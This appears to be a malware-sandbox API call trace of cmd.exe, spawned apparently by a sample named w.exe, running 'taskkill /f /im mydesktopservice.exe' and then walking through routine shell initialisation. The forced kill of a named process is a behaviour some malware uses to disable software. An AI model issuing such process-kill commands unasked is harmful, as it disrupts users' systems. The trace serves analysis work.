	[0038.718] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x39e868 | out: phkResult=0x39e868*=0x68) returned 0x0
	[0038.718] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x39e870, lpData=0x39e874, lpcbData=0x39e86c*=0x1000 | out: lpType=0x39e870*=0x0, lpData=0x39e874*=0x0, lpcbData=0x39e86c*=0x1000) returned 0x2
	[0038.718] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x39e870, lpData=0x39e874, lpcbData=0x39e86c*=0x1000 | out: lpType=0x39e870*=0x4, lpData=0x39e874*=0x1, lpcbData=0x39e86c*=0x4) returned 0x0
	[0038.718] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x39e870, lpData=0x39e874, lpcbData=0x39e86c*=0x1000 | out: lpType=0x39e870*=0x0, lpData=0x39e874*=0x1, lpcbData=0x39e86c*=0x1000) returned 0x2
	[0038.718] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x39e870, lpData=0x39e874, lpcbData=0x39e86c*=0x1000 | out: lpType=0x39e870*=0x4, lpData=0x39e874*=0x0, lpcbData=0x39e86c*=0x4) returned 0x0
	[0038.718] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x39e870, lpData=0x39e874, lpcbData=0x39e86c*=0x1000 | out: lpType=0x39e870*=0x4, lpData=0x39e874*=0x40, lpcbData=0x39e86c*=0x4) returned 0x0
	[0038.718] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x39e870, lpData=0x39e874, lpcbData=0x39e86c*=0x1000 | out: lpType=0x39e870*=0x4, lpData=0x39e874*=0x40, lpcbData=0x39e86c*=0x4) returned 0x0
	[0038.718] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x39e870, lpData=0x39e874, lpcbData=0x39e86c*=0x1000 | out: lpType=0x39e870*=0x0, lpData=0x39e874*=0x40, lpcbData=0x39e86c*=0x1000) returned 0x2
	[0038.718] RegCloseKey (hKey=0x68) returned 0x0
	[0038.719] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x39e868 | out: phkResult=0x39e868*=0x68) returned 0x0
	[0038.719] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x39e870, lpData=0x39e874, lpcbData=0x39e86c*=0x1000 | out: lpType=0x39e870*=0x0, lpData=0x39e874*=0x40, lpcbData=0x39e86c*=0x1000) returned 0x2
	[0038.719] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x39e870, lpData=0x39e874, lpcbData=0x39e86c*=0x1000 | out: lpType=0x39e870*=0x4, lpData=0x39e874*=0x1, lpcbData=0x39e86c*=0x4) returned 0x0
	[0038.719] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x39e870, lpData=0x39e874, lpcbData=0x39e86c*=0x1000 | out: lpType=0x39e870*=0x0, lpData=0x39e874*=0x1, lpcbData=0x39e86c*=0x1000) returned 0x2
	[0038.719] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x39e870, lpData=0x39e874, lpcbData=0x39e86c*=0x1000 | out: lpType=0x39e870*=0x4, lpData=0x39e874*=0x0, lpcbData=0x39e86c*=0x4) returned 0x0
	[0038.719] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x39e870, lpData=0x39e874, lpcbData=0x39e86c*=0x1000 | out: lpType=0x39e870*=0x4, lpData=0x39e874*=0x9, lpcbData=0x39e86c*=0x4) returned 0x0
	[0038.719] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x39e870, lpData=0x39e874, lpcbData=0x39e86c*=0x1000 | out: lpType=0x39e870*=0x4, lpData=0x39e874*=0x9, lpcbData=0x39e86c*=0x4) returned 0x0
	[0038.719] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x39e870, lpData=0x39e874, lpcbData=0x39e86c*=0x1000 | out: lpType=0x39e870*=0x0, lpData=0x39e874*=0x9, lpcbData=0x39e86c*=0x1000) returned 0x2
	[0038.719] RegCloseKey (hKey=0x68) returned 0x0
	[0038.719] time (in: timer=0x0 | out: timer=0x0) returned 0x5d16302f
	[0038.719] srand (_Seed=0x5d16302f) 
	[0038.719] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im mydesktopservice.exe \""
	[0038.719] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im mydesktopservice.exe \""
	[0038.719] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a075260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0038.719] GetProcessHeap () returned 0x440000
	[0038.719] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x210) returned 0x452020
	[0038.719] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x452028, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0038.720] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a080640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0038.720] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a080640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0038.720] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a080640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0038.720] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0038.720] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0038.720] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0038.720] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0038.720] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0038.720] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0038.720] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0038.720] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0038.720] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0038.720] GetProcessHeap () returned 0x440000
	[0038.720] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x452af8 | out: hHeap=0x440000) returned 1
	[0038.720] GetEnvironmentStringsW () returned 0x452238*
	[0038.720] GetProcessHeap () returned 0x440000
	[0038.720] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xae2) returned 0x454b98
	[0038.720] FreeEnvironmentStringsW (penv=0x452238) returned 1
	[0038.720] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a080640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0038.720] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a080640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0038.720] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0038.720] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0038.720] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0038.721] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0038.721] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0038.721] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0038.721] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0038.721] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0038.721] GetProcessHeap () returned 0x440000
	[0038.721] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x54) returned 0x455688
	[0038.721] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x39f634 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0038.721] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x39f634, lpFilePart=0x39f630 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x39f630*="Desktop") returned 0x25
	[0038.721] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0038.721] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x39f3b0 | out: lpFindFileData=0x39f3b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x451ea0
	[0038.721] FindClose (in: hFindFile=0x451ea0 | out: hFindFile=0x451ea0) returned 1
	[0038.721] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x39f3b0 | out: lpFindFileData=0x39f3b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x451ea0
	[0038.721] FindClose (in: hFindFile=0x451ea0 | out: hFindFile=0x451ea0) returned 1
	[0038.721] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0038.721] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x39f3b0 | out: lpFindFileData=0x39f3b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x451ea0
	[0038.722] FindClose (in: hFindFile=0x451ea0 | out: hFindFile=0x451ea0) returned 1
	[0038.722] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0038.722] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0038.722] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0038.722] GetProcessHeap () returned 0x440000
	[0038.722] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x454b98 | out: hHeap=0x440000) returned 1
	[0038.722] GetEnvironmentStringsW () returned 0x4540a8*
	[0038.722] GetProcessHeap () returned 0x440000
	[0038.722] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xb36) returned 0x455ee8
	[0038.722] FreeEnvironmentStringsW (penv=0x4540a8) returned 1
	[0038.722] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a075260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0038.722] GetProcessHeap () returned 0x440000
	[0038.722] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455688 | out: hHeap=0x440000) returned 1
	[0038.722] GetProcessHeap () returned 0x440000
	[0038.722] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x400e) returned 0x456a28
	[0038.723] GetProcessHeap () returned 0x440000
	[0038.723] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x5c) returned 0x452d78
	[0038.723] GetProcessHeap () returned 0x440000
	[0038.723] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x4008) returned 0x45aa40
	[0038.723] GetProcessHeap () returned 0x440000
	[0038.723] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x4008) returned 0x45ea50
	[0038.724] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0038.725] GetProcessHeap () returned 0x440000
	[0038.725] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x418) returned 0x452de0
	[0038.725] SetErrorMode (uMode=0x0) returned 0x8003
	[0038.725] SetErrorMode (uMode=0x1) returned 0x0
	[0038.725] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x452de8, lpFilePart=0x39f5ac | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x39f5ac*="f") returned 0x31
	[0038.725] SetErrorMode (uMode=0x8003) returned 0x1
	[0038.725] GetProcessHeap () returned 0x440000
	[0038.725] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x452de0, Size=0x9e) returned 0x452de0
	[0038.725] GetProcessHeap () returned 0x440000
	[0038.725] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x452de0) returned 0x9e
	[0038.725] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0038.725] GetProcessHeap () returned 0x440000
	[0038.725] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x72) returned 0x462a78
	[0038.725] GetProcessHeap () returned 0x440000
	[0038.725] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xd8) returned 0x452e88
	[0038.725] GetProcessHeap () returned 0x440000
	[0038.725] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x452e88, Size=0x72) returned 0x452e88
	[0038.725] GetProcessHeap () returned 0x440000
	[0038.725] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x452e88) returned 0x72
	[0038.725] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a080640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0038.725] GetProcessHeap () returned 0x440000
	[0038.725] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xe0) returned 0x452f08
	[0038.729] GetProcessHeap () returned 0x440000
	[0038.729] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x452f08, Size=0x76) returned 0x452f08
	[0038.729] GetProcessHeap () returned 0x440000
	[0038.729] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x452f08) returned 0x76
	[0038.729] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0038.729] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im mydesktopservice.exe ", fInfoLevelId=0x1, lpFindFileData=0x39f348, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39f348) returned 0xffffffff
	[0038.729] GetLastError () returned 0x3
	[0038.729] GetProcessHeap () returned 0x440000
	[0038.730] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45aa40 | out: hHeap=0x440000) returned 1
	[0038.730] GetProcessHeap () returned 0x440000
	[0038.730] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ea50 | out: hHeap=0x440000) returned 1
	[0038.730] GetProcessHeap () returned 0x440000
	[0038.730] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x456a28 | out: hHeap=0x440000) returned 1
	[0038.730] GetConsoleOutputCP () returned 0x1b5
	[0038.730] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a074260 | out: lpCPInfo=0x4a074260) returned 1
	[0038.730] GetUserDefaultLCID () returned 0x409
	[0038.731] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a074950, cchData=8 | out: lpLCData=":") returned 2
	[0038.731] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x39f774, cchData=128 | out: lpLCData="0") returned 2
	[0038.731] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x39f774, cchData=128 | out: lpLCData="0") returned 2
	[0038.731] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x39f774, cchData=128 | out: lpLCData="1") returned 2
	[0038.731] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a074940, cchData=8 | out: lpLCData="/") returned 2
	[0038.731] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a074d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0038.731] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a074d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0038.731] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a074d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0038.731] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a074cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0038.731] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a074c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0038.731] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a074c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0038.731] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a074c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0038.731] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a074930, cchData=8 | out: lpLCData=".") returned 2
	[0038.732] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a074920, cchData=8 | out: lpLCData=",") returned 2
	[0038.732] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0038.733] GetProcessHeap () returned 0x440000
	[0038.733] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x20c) returned 0x452f88
	[0038.733] GetConsoleTitleW (in: lpConsoleTitle=0x452f88, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0038.733] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0038.733] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0038.733] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0038.733] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0038.734] GetProcessHeap () returned 0x440000
	[0038.734] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x400a) returned 0x456a28
	[0038.734] GetProcessHeap () returned 0x440000
	[0038.734] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x456a28 | out: hHeap=0x440000) returned 1
	[0038.734] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0038.735] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0038.735] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0038.735] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0038.735] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0038.735] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0038.735] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0038.735] GetProcessHeap () returned 0x440000
	[0038.735] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x58) returned 0x4531a0
	[0038.735] GetProcessHeap () returned 0x440000
	[0038.735] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x1a) returned 0x455728
	[0038.735] GetProcessHeap () returned 0x440000
	[0038.735] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x44) returned 0x453200
	[0038.736] GetConsoleTitleW (in: lpConsoleTitle=0x39f46c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0038.736] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0038.736] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0038.737] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0038.737] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0038.737] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0038.737] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0038.737] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0038.737] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0038.737] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0038.737] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0038.737] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0038.737] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0038.737] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0038.737] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0038.737] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0038.737] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0038.737] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0038.737] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0038.737] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0038.737] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0038.737] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0038.737] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0038.737] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0038.737] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0038.737] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0038.737] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0038.737] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0038.737] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0038.737] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0038.737] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0038.737] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0038.737] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0038.737] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0038.737] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0038.737] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0038.737] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0038.737] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0038.737] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0038.737] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0038.738] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0038.738] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0038.738] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0038.738] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0038.738] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0038.738] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0038.738] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0038.738] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0038.738] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0038.738] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0038.738] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0038.738] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0038.738] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0038.738] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0038.738] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0038.738] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0038.738] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0038.738] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0038.738] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0038.738] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0038.738] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0038.738] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0038.738] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0038.738] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0038.738] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0038.738] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0038.738] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0038.738] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0038.738] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0038.738] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0038.738] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0038.738] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0038.738] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0038.738] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0038.738] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0038.738] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0038.739] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0038.739] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0038.739] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0038.739] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0038.739] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0038.739] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0038.739] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0038.739] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0038.739] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0038.739] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0038.739] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0038.739] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0038.739] GetProcessHeap () returned 0x440000
	[0038.739] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x210) returned 0x453250
	[0038.739] GetProcessHeap () returned 0x440000
	[0038.739] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x56) returned 0x453468
	[0038.739] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0038.739] GetProcessHeap () returned 0x440000
	[0038.740] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x418) returned 0x4407f0
	[0038.740] SetErrorMode (uMode=0x0) returned 0x8003
	[0038.740] SetErrorMode (uMode=0x1) returned 0x0
	[0038.740] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4407f8, lpFilePart=0x39ef8c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x39ef8c*="Desktop") returned 0x25
	[0038.740] SetErrorMode (uMode=0x8003) returned 0x1
	[0038.740] GetProcessHeap () returned 0x440000
	[0038.740] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4407f0, Size=0x66) returned 0x4407f0
	[0038.740] GetProcessHeap () returned 0x440000
